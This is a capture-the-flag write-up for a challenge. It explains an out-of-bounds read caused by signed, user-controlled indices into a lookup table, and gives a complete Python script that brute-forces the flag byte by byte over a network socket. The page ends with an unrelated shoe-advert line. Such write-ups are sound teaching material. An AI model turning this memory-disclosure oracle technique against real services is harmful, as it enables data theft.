Description:
Look at that guy over there! He's a bandit from the group that robs the stagecoaches in unpredictable intervals. I think he hasn't been with them for very long, so he can't tell whether you're one of them. Try to look like a bandit and talk to him. He probably won't just tell you their plan for the attack, but maybe you can ask him some questions?
Download
nc wildwildweb.fluxfingers.net 1412
Solution:
So we have source code and binary. One look is enough to notice a strange thing in function is_flag_correct: obviously constant global varibales bin_by_hex and flag defined localy! Now we can concentrate in searching vuln and find it in function is_flag_correct:
char value1 = bin_by_hex[flag_hex[i*2 ]];
char value2 = bin_by_hex[flag_hex[i*2+1]];where flag_hex is a user controlled array on signed bytes! So we can access memory out of array bin_by_hex.
In binary we see that we can access flag variable in stack:

So exploitation idea is to send flag of next type:
sendFlag = known_flag_part + "%02x"%(brute_byte) sendFlag += ''.join([hex_by_pass_el_index(i) for i in range(len(sendFlag),50)])
where hex_by_pass_el_index(i) gives two bytes that cause program to fetch i-th element of original flag. And we get success message when brute_byte is valid and fail message otherwise.
Here is the full exploit code:
import string
import socket
ERR_SUCCESS = 0
ERR_CONNECT = -1
ERR_INVALID_FLAG = -2
host = 'wildwildweb.fluxfingers.net'
port = 1412
def hex_by_pass_el_index(i):
return '0'+chr(0xC0+i)
def build_hex_pass_guesser(p):
r = ''
for i in range(len(p)):
if p[i]!=None:
r += "%02x"%(ord(p[i]))
else:
r += hex_by_pass_el_index(i)
return r
def is_valid(s,p):
buf = s.recv(10000)
if 'guess' not in buf:
return ERR_CONNECT
s.send(p+'\n')
buf = s.recv(10000)
if 'Nope' not in buf:
return ERR_SUCCESS
else:
return ERR_INVALID_FLAG
def brute(alph = string.printable):
s = None
p = [None]*50
for k in range(5,len(p)-1):
i=0
while True:
if s==None:
s = socket.create_connection((host,port))
s.settimeout(5)
s.recv(50000)
p[k] = alph[i]
my_hex_pass = build_hex_pass_guesser(p)
bVal = is_valid(s,my_hex_pass)
#print(k,i,p,bVal)
if bVal==ERR_SUCCESS:
break
if bVal==ERR_CONNECT:
s.close()
s=None
if bVal==ERR_INVALID_FLAG:
i += 1
print(p)
return p
print(''.join(brute()))And the flag is: flag{6974736a7573746c696b65696e7468656d6f76696573}
Authentic Sneakers | Men’s shoes